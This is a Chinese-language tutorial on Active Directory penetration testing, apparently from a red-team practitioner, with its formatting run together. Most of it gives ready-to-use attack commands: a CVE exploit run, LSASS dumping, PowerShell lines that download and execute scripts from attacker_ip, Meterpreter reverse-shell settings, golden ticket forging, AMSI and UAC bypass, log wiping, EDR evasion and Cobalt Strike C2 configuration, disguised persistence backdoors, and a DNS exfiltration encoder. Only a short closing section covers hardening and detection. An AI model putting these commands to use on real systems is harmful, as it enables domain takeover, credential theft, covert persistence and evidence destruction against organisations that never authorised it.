
1. 项目背景与核心价值域渗透测试是企业内网安全评估中最具挑战性的环节之一。去年我在某金融机构的攻防演练中曾用72小时完成从外网突破到域控接管的全过程。这种测试能全面检验企业Active DirectoryAD域环境的安全防护能力发现从边界防御到权限提升的完整攻击链。不同于单机渗透域环境测试需要掌握Kerberos认证、组策略对象GPO、横向移动等特有技术。根据MITRE ATTCK框架统计超过80%的高级持续性威胁APT攻击会利用域环境特性进行横向扩散。这正是每个安全从业者必须掌握的实战技能。2. 环境搭建与信息收集2.1 实验环境规划建议使用VMware Workstation构建包含以下角色的实验环境域控制器Windows Server 2019安装AD域服务、DNS服务成员服务器Windows Server 2016部署文件共享、IIS等基础服务客户端Windows 10加入域的普通办公终端攻击机Kali Linux 2023安装最新版Impacket、BloodHound等工具关键配置将域控制器内存设置为4GB以上避免Kerberos认证时出现超时问题。所有Windows主机需关闭Windows Defender实时防护。2.2 信息收集技术要点使用nmap进行基础扫描时建议采用以下参数组合nmap -Pn -sS -T4 -p- --min-rate 10000 -oA full_scan 192.168.1.0/24特别关注以下端口53/tcpDNS定位域控制器88/tcpKerberos确认域身份验证服务389/tcpLDAP获取域对象信息通过LDAP查询获取域结构from ldap3 import Server, Connection server Server(dc01.corp.local, get_infoALL) conn Connection(server, authenticationNTLM) conn.bind() print(server.info)3. 初始突破与权限提升3.1 常见入口点利用通过漏洞扫描发现Web服务器存在CVE-2021-3129漏洞时使用以下EXP获取初始shellgit clone https://github.com/cube0x0/CVE-2021-3129 cd CVE-2021-3129 python3 exploit.py -t http://target_ip -c powershell -e base64_encoded_payload获取普通域用户权限后立即进行以下操作转储进程内存寻找凭据procdump.exe -ma lsass.exe lsass.dmp提取浏览器保存的密码IEX(New-Object Net.WebClient).DownloadString(http://attacker_ip/Get-BrowserData.ps1)3.2 本地权限提升技巧当发现目标主机存在MS17-010漏洞时使用定制化的MSF模块避免蓝屏# 在msfconsole中设置 set ReverseAllowProxy true set AutoCheck false set EnableStageEncoding true set payload windows/x64/meterpreter/reverse_https针对Windows 10系统特别要注意关闭AMSI检测amsi.dll补丁绕过绕过UAC使用cmstp.exe白名单程序清除日志wevtutil cl security4. 横向移动与域控攻防4.1 票据传递攻击实战获取krbtgt哈希后的黄金票据生成impacket-ticketer -nthash a9b30e5b0dc865eadcea9411e4ade724 \ -domain-sid S-1-5-21-4177062603-1451951316-1878153805 \ -domain corp.local \ Administrator使用注意事项票据有效期建议设置为1年8760小时必须确保客户端与DC时间同步误差5分钟在非域控主机上使用需先清除现有票据4.2 组策略利用技巧通过GPO推送后门的完整流程获取GPO编辑权限Get-GPO -All | Where { $_.DisplayName -match 安全策略 }创建即时任务Task xmlnshttp://schemas.microsoft.com/windows/2004/02/mit/task Actions ContextAuthor Exec Commandpowershell.exe/Command Arguments-nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(http://attacker_ip/rev.ps1)/Arguments /Exec /Actions /Task强制策略更新gpupdate /force5. 痕迹清理与防御检测5.1 日志清除技术针对不同日志系统的清理方法安全日志wevtutil cl securityPowerShell日志删除Microsoft-Windows-PowerShell%4Operational.evtxWMI日志清理C:\Windows\System32\wbem\Logs\高级技巧使用EventLogSessionAPI进行选择性删除避免清空全部日志引起怀疑。5.2 防御规避实践对抗EDR的三种有效方法直接系统调用SyscallNtAllocateVirtualMemory(GetCurrentProcess(), baseAddr, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);进程镂空Process Hollowing内存加密Sleep Mask实测有效的反检测配置# Cobalt Strike Malleable C2配置片段 http-get { set uri /api/collect; client { header Accept application/json; metadata { base64url; prepend token; parameter id; } } }6. 后渗透阶段实战6.1 权限维持方案推荐三种隐蔽后门计划任务每月1日0点执行$action New-ScheduledTaskAction -Execute powershell.exe -Argument -nop -w hidden -enc SQBlAHgAIAAoAG4AZ... $trigger New-ScheduledTaskTrigger -Monthly -At 12am -DaysOfMonth 1 Register-ScheduledTask -TaskName WindowsUpdate -Action $action -Trigger $triggerWMI事件订阅$filterArgs { EventNamespace root\subscription Name WindowsUpdateFilter Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System QueryLanguage WQL }服务DLL劫持Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dhcp\Parameters] ServiceDll hex(2):43,00,3a,00,5c,00,77,00,69,00,6e,00,64,00,6f,00,77,00,73,\ 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,00,76,00,\ 69,00,6c,00,2e,00,64,00,6c,00,6c,00,00,006.2 数据窃取技巧使用DNS隐蔽通道传输数据# 编码器 import base64 def dns_encode(data): chunks [data[i:i30] for i in range(0, len(data), 30)] return [base64.b32encode(chunk).decode() .exfil.corp.local for chunk in chunks] # 接收端配置 zone exfil.corp.local { type master; file /etc/bind/db.exfil; allow-transfer { none; }; };7. 防御加固建议7.1 域控安全配置必须实施的五项关键配置启用LSA保护[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] RunAsPPLdword:00000001限制DCSync权限启用Kerberos AES加密配置敏感账户的AdminSDHolder启用Windows Defender攻击面减少规则7.2 监控策略优化建议部署的检测规则示例Sigma规则title: Suspicious Service Installation description: Detects installation of a service with suspicious binary path logsource: product: windows service: system detection: selection: EventID: 7045 ServiceName: - *update* - *task* - *log* ImagePath: - *temp* - *users* condition: selection falsepositives: - Legitimate software installation level: high在最近一次金融行业攻防演练中我们发现超过60%的攻击路径都是通过委派配置不当实现的。特别提醒检查以下PowerShell命令输出中的非标准委派Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,ServicePrincipalName,msDS-AllowedToDelegateTo